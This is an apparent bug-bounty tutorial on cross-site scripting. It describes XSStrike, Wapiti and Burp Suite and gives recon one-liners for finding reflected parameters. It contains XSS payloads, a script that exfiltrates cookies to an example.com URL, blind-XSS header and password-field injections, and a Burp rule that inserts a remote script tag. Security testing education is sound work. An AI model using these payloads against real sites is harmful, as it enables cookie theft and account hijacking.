Hello everyone, I hope you all are doing great.
I am back with another writeup.
A Complete Guide to Cross-Site Scripting (XSS) Attack, how to prevent it, and XSS testing.
Cross-Site Scripting (XSS) is one of the most popular and vulnerable attacks which is known by every advanced tester. It is considered one of the riskiest attacks on web applications and can bring harmful consequences too.
It is a type of security vulnerability that occurs in web applications when an attacker injects malicious scripts into web pages viewed by other users.
This can lead to the execution of malicious code in the context of a user’s browser, compromising the security and integrity of the affected web application.
XSS is often compared with similar client-side attacks, as client-side languages are mostly being used during this attack. However, an XSS attack is considered riskier, because of its ability to damage even less vulnerable technologies.
XSS attacks can have various consequences, including stealing sensitive information (such as login credentials or session tokens), defacing websites, redirecting users to malicious websites, or performing actions on behalf of the user without their consent.
In this XSS attack tutorial, we will give you a complete overview of its types, tools, and preventive measures with perfect examples in simple terms for your easy understanding.
Introduction to XSS Attack
A cross-site scripting attack is a malicious code injection, which will be executed in the victim’s browser. The malicious script can be saved on the web server and executed every time the user calls the appropriate functionality. It can also be performed with the other methods – without any saved script in the webserver.
The main purpose of this attack is to steal the other user’s identity data – cookies, session tokens, and other information. In most cases, this attack is being used to steal the other person’s cookies. As you know, cookies help us to log in automatically. Therefore, with stolen cookies, we can log in with the other identities. And this is one of the reasons why this attack is considered one of the riskiest attacks.
An XSS attack is being performed on the client side. It can be performed with different client-side programming languages. However, most often this attack is performed with Javascript and HTML.
Recommended Tools
XSStrike
XSStrike is a Cross Site Scripting detection suite equipped with four hand-written parsers, an intelligent payload generator, a powerful fuzzing engine, and an incredibly fast crawler.
Instead of injecting payloads and checking it work like all the other tools do, XSStrike analyses the response with multiple parsers and then crafts payloads that are guaranteed to work by context analysis integrated with a fuzzing engine. Here are some examples of the payloads generated by XSStrike:
}]};(confirm)()//\
<A%0aONMouseOvER%0d=%0d[8].find(confirm)>z
</tiTlE/><a%0donpOintErentER%0d=%0d(prompt)``>z
</SCRiPT/><DETAILs/+/onpoINTERenTEr%0a=%0aa=prompt,a()//
Apart from that, XSStrike has crawling, fuzzing, parameter discovery, WAF detection capabilities as well. It also scans for DOM XSS vulnerabilities.
Main Features
Reflected and DOM XSS scanning
Multi-threaded crawling
Context analysis
Configurable core
WAF detection & evasion
Outdated JS lib scanning
Intelligent payload generator
Handmade HTML & JavaScript parser
Powerful fuzzing engine
Blind XSS support
Highly researched work-flow
Complete HTTP support
Bruteforce payloads from a file
Payload Encoding
Installation
Step 1: Run the following command to install XSStrike
$ git clone https://github.com/s0md3v/XSStrike.git$ cd XSStrike$ pip3 install -r requirements.txt
Step 2: Now run the following command to use xsstrike
$ python3 xsstrike.py -u URL
Note: This Tool can minimize the false positive but cannot rectify it. So we have to check it manually sometimes.
Wapiti
Wapiti is a web vulnerability scanner written in Python. It works as a "black-box" vulnerability scanner, which means it won't study the source code of web applications but will work like a fuzzer, scanning the pages of the deployed web application, extracting links and forms, and attacking the scripts, sending payloads and looking for error messages, special strings or abnormal behaviors.
General Features
Generates vulnerability reports in various formats (HTML, XML, JSON, TXT, CSV).
Can suspend and resume a scan or an attack (session mechanism using SQLite3 databases).
Can give you colors in the terminal to highlight vulnerabilities.
Different levels of verbosity.
Fast and easy way to activate/deactivate attack modules.
Adding a payload can be as easy as adding a line to a text file.
Configurable number of concurrent tasks to perform HTTP requests.
Browsing features
Support HTTP, HTTPS, and SOCKS5 proxies.
HTTP authentication on the target (Basic, Digest, NTLM)
Authentication by filling in login forms.
Ability to restrain the scope of the scan (domain, folder, page, URL).
Automatic removal of one or more parameters in URLs.
Multiple safeguards against scan endless loops (for example, the limit of values for a parameter).
Possibility to set the first URLs to explore (even if not in scope).
Can exclude some URLs of the scan and attacks (eg: logout URL).
Import cookies from your Chrome or Firefox browser or use the wapiti-getcookie tool.
Can activate/deactivate SSL certificate verification.
Extract URLs from Flash SWF files.
Try to extract URLs from JavaScript (a very basic JS interpreter).
HTML5 aware (understand recent HTML tags).
Several options to control the crawler's behavior and limits.
Skipping some parameter names during the attack.
Setting a maximum time for the scan process.
Adding some custom HTTP headers or setting a custom User-Agent.
Using a Firefox headless browser for crawling
Loading your own Python code for complicated authentication cases (see --form-script option)
Adding a custom URL or PATH to update the Wappalyzer database
How to get the best results
To find more vulnerabilities (as some attacks are error-based), you can modify your webserver configurations.
For example, you can set the following values in your PHP configuration :
safe_mode = Off
display_errors = On (recommended)
display_errors = On (recommended)
magic_quotes_gpc = Off
allow_url_fopen = On
mysql.trace_mode = On
Installing Wapiti from the Git repository
Step 1: Run the following command to install Wapiti
$ git clone git@github.com:wapiti-scanner/wapiti.git
Step 2: Now run the following command
$ pip install wapiti3
How is XSS Being Performed?
Cross-Site Scripting attack means sending and injecting malicious code or script. Malicious code is usually written in client-side programming languages such as Javascript, HTML, VBScript, Flash, etc. However, Javascript and HTML are mostly used to perform this attack.
This attack can be performed in different ways. Depending upon the type of XSS attack, the malicious script may be reflected on the victim’s browser or stored in the database and executed every time, when the user calls the appropriate function.
The main reason for this attack is inappropriate user input validation, where malicious input can get into the output. A malicious user can enter a script, which will be injected into the website’s code. Then the browser is not able to know if the executed code is malicious or not.
Therefore malicious scripts are being executed in the victim’s browser or any faked form is being displayed for the users. There are several forms in which XSS attacks can occur.
The main forms of Cross Site Scripting are as follows:
Cross-Site Scripting can occur on the malicious script executed on the client side.
Fake pages or forms displayed to the user (where the victim types credentials or clicks a malicious link).
On the websites with displayed advertisements.
Malicious emails sent to the victim.
This attack occurs when the malicious user finds the vulnerable parts of the website and sends it as appropriate malicious input. A malicious script is being injected into the code and then sent as the output to the final user.
Let’s analyze a simple Example:
Consider we have a website with a comment functionality under a post on a social network. The vulnerability is that the social network renders the raw input from the comments inside of the HTML on the page.
This allows the attacker to add a custom script into his comment:
<script> window.location = ‘https://example.com/?user_data=’ + document.cookies; </script>
When the social network loads this comment, it will include the `script` tag into its HTML. This will automatically redirect the current user to the URL of the malicious website and will send all of the cookies as a query parameter. The malicious website can then store the cookies and steal sensitive data.
Since many people can visit the comment section of a particular post, all of them will be victims to the attacker.
This particular case is very superficial, and there hopefully aren’t any serious social networks out there with such easy-to-find vulnerabilities, but it illustrates the potential scale of Persistent XSS.
Where to hunt for XSS?
Error Messages
Comment Sections
Search functionality
Email notifications
Surveys/Review forms
Contact/Feedback pages
Chat applications/Forums
Login Pages/Registration pages
Customer ticket applications
put xss in X-Forwarded-For header
Your Password As Blind XSS Payload
Add Blind XSS in password reset fields
Blind XSS Payload in User-Agent User/Host Headers
put blind xss payloads in your name and description fields
Automation
Collect all the URLs using waybackurls and gau tool
echo 'yourdomain.com' | waybackurls | tee urls
echo 'yourdomain.com' | gau | tee urls1
##filter and remove duplicate urls and save all the urls into a single file
cat * | anew finalurls
so we collected all the URLs removed duplicates and saved them into a single file now filter the params from the list that we will use the gf tool
cat finalurls | gf xss | anew xssurls
filter applied and parameters saved into a file to now run this command to detect XSS
cat xssurls | | grep '=' | qsreplace '"><script>confirm()</script>' | while read host do ; do curl --silent --path-as-is --insecure "$host" | grep -qs "<script>confirm(1)" && echo "\033[0;31mvulnerable\n";done
It will show you if any URL or parameter is vulnerable.
Find all endpoints
echo 'YourTarget' | waybackurls | anew wayback.txt
echo 'YourTarget' | gau | anew gau.txt
echo 'YourTarget' | katana | anew katana.txt
gospider -s "YourTarget/" -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | anew gospider.txt
hakrawler -url "YourTarget" -plain -usewayback -wayback | grep "testphp.vulnweb.com" | grep "=" | egrep -iv ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt|js)" | anew hakrawler.txt
cat wayback.txt gau.txt katana.txt gospider.txt hakrawler.txt | anew paths.txt
We collect all paths and endpoints for out target, we can start attack now or we do some fuzzing first.
Parameters
Let's grep URLs with extensions like (.php,.asp,.aspx) and start Fuzzing for Hidden Parameters using arjun:
arjun -i ext-paths.txt -oT ext-paths-arjun.txt
-i is for Urls input.
-oT is for Output as a text file.
Now lets use some tools to find xss
echo http://testphp.vulnweb.com | gau | gf xss | uro | qsreplace '"><img src=x onerror=alert(1);>' | freq
gau: To collect all paths from web archive.
gf: To grep xss filenames.
uro: To declutters url lists for reduce URLs to attack.
qsreplace: To replace values to XSS payloads.
Freq: To match responses with input value and Check Fired XSS.
Dalfox
cat param.txt | kxss | awk '{print $9}'| dalfox pipe
Param.txt : This is the file of URLs with parameters after all of the above scans.
Kxss: To find reflected filename and value.
awk: To print column of URLs.
dalfox: To scan XSS.
qsreplace, airixss
cat param.txt | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)"
echo YourTarget | gau | gf xss | uro |qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)"
gau: To collect all paths from web archive.
gf: To grep xss filenames.
uro: To declutters url lists for reduce URLs to attack.
qsreplace: To replace values to XSS payloads.
airixss: To find XSS during recon.
XRay
Crawl The input URL.
Fetch inputs on URLs and all parameters on (GET/POST) requests.
Start XSS attack.
.\xray ws --basic YourTarget --plugin xss --ho testphp.html
ws : This for web scanning.
basic : This for basic crawling.
plugin: This for choose plugins of vulnerabilities to attack.
ho : This is for HTML Output.
Via Burp Suite
Extensions Required here:
Reflector: It’s looks for request parameter values that are reflected in the response.Intruder: It’s a tool for automating customized attacks against web applications. It enables you to configure attacks that send the same HTTP request over and over again, inserting different payloads into predefined positions each time.
Burp Bounty: It’s an extension of Burp Suite that allows you, in a quick and simple way, to improve the active and passive scanner by means of personalized rules through a very intuitive graphical interface.
1
Basic XSS Detection:
Crawl URL with Burp spider.
Check Reflector to get reflected values.
Start Attack using Burp active scan.
2
Finding XSS using Intruder:
Get a reflected parameter.
Move it to intruder.
Put a XSS Payloads.
In match and Grep check for alert(1).
Start Attacking and grep for alert(1) column and you will find urls vulnerable of XSS.
3
Finding XSS using Burp Bounty:
Burp bounty have a lot of profiles that’s can check for XSS on GET and POST request with all parameters on (URLs, Body Reuqests, Headers, etc..).
Crawl URLs via Burp spider.
Check reflected Parameters.
Scan it via Burp bounty.
4
Inside Burp Suite's match & replace function, in the satch section put your User-Agent's value and payload as ""><script src=yourdomain></script> in the replace section
Conclusion
While testing, it is highly recommended to evaluate the risks that bring possible XSS attacks. XSS attacks can affect web applications, that seem to be secure as well.
It is considered to be one of the most harmful and risky attacks. Hence, we should not forget this type of testing. While performing testing against XSS, it is important to have good knowledge about this attack. This is the basis to analyze the testing results correctly and choose the appropriate testing tools.
Comments